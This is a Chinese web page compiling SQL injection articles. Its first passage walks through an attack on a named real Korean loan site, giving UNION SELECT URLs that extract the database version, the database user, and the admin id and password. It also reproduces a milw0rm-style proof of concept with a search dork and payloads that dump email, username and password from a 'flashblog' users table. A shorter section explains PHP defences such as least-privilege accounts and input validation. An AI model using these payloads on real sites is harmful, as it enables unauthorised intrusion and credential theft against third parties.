18时错误,说明字段数就是17了,接下来就得猜列名了咯,我们提交:www.lifeloan.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5%20%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*如图6.在网页中显示出的数字中替换成我们的语句,我们继续提交,www.lifeloan.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5%20%20and%201=2%20union%20select%201,2,3,4,version(),user(),7,8,9,10,11,12,13,14,15,16,17/*,如图7,出现了版本号和当然数据库用户名了,接下来当然是猜表啦,首先我们想到的当然是admin这个表啦,继续提交:www.lifeloan.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5%20%20and%201=2%20union%20select%201,2,3,4,version(),user(),7,8,9,10,11,12,13,14,15,16,17%20from%20admin/*返回正常,说明存在admin这个表的,接下来就是最关键的地方了,我们得猜下用户名和密码的,提交:www.lifeloan.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5%20%20and%201=2%20union%20select%201,2,3,4,version(),user(),username,8,9,10,11,12,13,14,15,16,17%20from%20admin/*返回错误,看来不存在username这个列名,接下来就是漫长的猜解过程啦,可是始终没有猜到用户名,不过倒是把ID和密码猜出来的,我提交的语句是这样的:www.lifeloan.co.kr/notice/read.php?Code=notice&Page=1&Field=&Key=&Uid=5%20%20and%201=2%20union%20select%201,2,3,4,version(),user(),id,passwd,9,10,11,12,13,14,15,16,17%20from%20admin/*,呵呵,暴出来了,如图8

文章到这里就要结束了,其实在乎只是这个过程而已,没有暴出用户名,而且后面的后台也没有找到,所以就只能放一放啦!不过,希望各位叉子能从本文学点东西的话,本文就会有它的价值了!

篇8:攻防技巧 PHP数据库安全之SQL注入WEB安全

很多 web 开发者没有注意到 SQL 查询是可以被篡改的,因而把 SQL 查询当作可信任的命令,殊不知道,SQL 查询可以绕开访问控制,从而绕过身份验证和权限检查。更有甚者,有可能通过 SQL 查询去运行主机操作系统级的命令。

直接 SQL 命令注入就是攻击者常用的一种创建或修改已有 SQL 语句的技术,从而达到取得隐藏数据,或覆盖关键的值,甚至执行数据库主机操作系统命令的目的。这是通过应用程序取得用户输入并与静态参数组合成 SQL 查询来实现的。下面将会给出一些真实的例子。

由于在缺乏对输入的数据进行验证,并且使用了超级用户或其它有权创建新用户的数据库帐号来连接,攻击者可以在数据库中新建一个超级用户。 例子 27-2. 一段实现数据分页显示的代码……也可以被用作创建一个超级用户(PostgreSQL系统)。

预防措施

也许有人会自我安慰,说攻击者要知道数据库结构的信息才能实施上面的攻击,

没错,确实如此。但没人能保证攻击者一定得不到这些信息,一但他们得到了,数据库有泄露的危险。如果你在用开放源代码的软件包来访问数据库,比如论坛程序,攻击者就很容得到到相关的代码。如果这些代码设计不良的话,风险就更大了。

这些攻击总是建立在发掘安全意识不强的代码上的。所以,永远不要信任外界输入的数据,特别是来自于客户端的,包括选择框、表单隐藏域和cookie。就如上面的第一个例子那样,就算是正常的查询也有可能造成灾难。

永远不要使用超级用户或所有者帐号去连接数据库。要用权限被严格限制的帐号。

检查输入的数据是否具有所期望的数据格式。PHP 有很多可以用于检查输入的函数,从简单的变量函数和字符类型函数(比如 is_numeric(),ctype_digit())到复杂的 Perl 兼容正则表达式函数都可以完成这个工作。

如果程序等待输入一个数字,可以考虑使用 is_numeric() 来检查,或者直接使用 settype() 来转换它的类型,也可以用 sprintf() 把它格式化为数字。 例子 27-6. 一个实现分页更安全的方法

篇9:闪存博客SQL注入脚本安全

来自 : < 16.her0_at_gmail.com >

日期 : 2008年5月29日4时24分39秒-0000

('binary' encoding is not supported, stored as-is) ###############################################################################

#

# 姓名: flashblog SQL inyeccion

# 作者: her0

# Dork : ”flashblog", allinurl:flashblog.html

# Greetz : Komtec1,Freak,Knet,Boer,ka0x

#

###############################################################################

Proof of Concept :概念证明:

[host]/[path]//php/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5,concat(email,0x203a3a20,NombreUsuario,0x203a3a20,Password),7,8,9,10,11,12,13,14,15,16,17/**/from/**/usuarios/*

该colums从主机到主机的不同:所有解决= D的

/PHP/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5,concat(email,0x203a3a20,nombreusuario,0x203a3a20,Password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/usuarios/*/php/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31/**/from/**/usuarios/*

/php/leer_comentarios.php?articulo_id=-1/**/union/**/select/**/1,2,3,4,5,concat(email,0x203a3a20,NombreUsuario,0x203a3a20,Password),7,8,9,10,11,12,13,14,15,16,17,18,19/**/from/**/usuarios/*

############################################################################### ################################################## #############################

#

#  墨西哥到2008年,感谢所有我的朋友们,我爱威士忌XD法

#  milw0rm.com/exploit...

############################################################################### ################################################## #############################

浅谈新型的sql注入测试脚本安全

集思鹏jspcms系统通用sql注入脚本安全

hdsi2.0 sql注入部分抓包分析语句脚本安全

magicquotesgpc为on非单引号注入脚本安全

网站安全:整站防止SQL注入式入侵

几种通用防注入程序绕过方法脚本安全

一段脚本实现自动备份并保存最近几天的SQL数据库

SQL Server数据库性能优化数据库教程

双向跨站(Double Trap XSS)注入分析脚本安全

远程管理SQL数据的方法数据库教程

php 如何做数据库攻击(如:SQL注入)脚本安全(共9篇)

欢迎下载DOC格式的php 如何做数据库攻击(如:SQL注入)脚本安全,但愿能给您带来参考作用!
推荐度: 推荐 推荐 推荐 推荐 推荐
点击下载文档 文档为doc格式
点击下载本文文档